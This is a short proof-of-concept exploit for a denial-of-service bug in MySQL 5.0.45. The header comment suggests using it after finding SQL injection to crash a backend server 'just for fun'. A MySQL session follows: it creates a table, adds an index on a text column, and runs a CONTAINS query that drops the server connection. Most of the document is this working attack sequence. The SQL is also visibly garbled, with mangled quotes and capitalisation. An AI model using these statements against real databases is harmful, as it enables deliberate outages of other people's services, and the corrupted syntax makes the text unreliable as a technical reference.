Mysql 5.0.45 (modified) DoS Vulnerability
/*
* MySQL <= 6.0 possibly affected
* Kristian Erik Hermansen
* Credit: Joe Gallo
* You must have Alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* In the nuts just for fun. Start with the Alter TABLE statement on
* A table and field you know to exist. The first two SQL statements are
* Simply to demostrate reproducibility...
*/
<Snip>
Mysql> Create TABLE 'test '(
'Id' int (10) unsigned not null AUTO_INCREMENT primary key,
'Foo' text NOT NULL
) ENGINE = InnoDB default charset = latin1;
Query OK, 0 rows affected
Mysql> Select * FROM test Where CONTAINS (foo, ''bar '');
Empty set
Mysql> Alter TABLE test add index (foo (100 ));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0
Mysql> Select * FROM test Where CONTAINS (foo, ''bar '');
ERROR 2013: Lost connection to MySQL server during query
</Snip>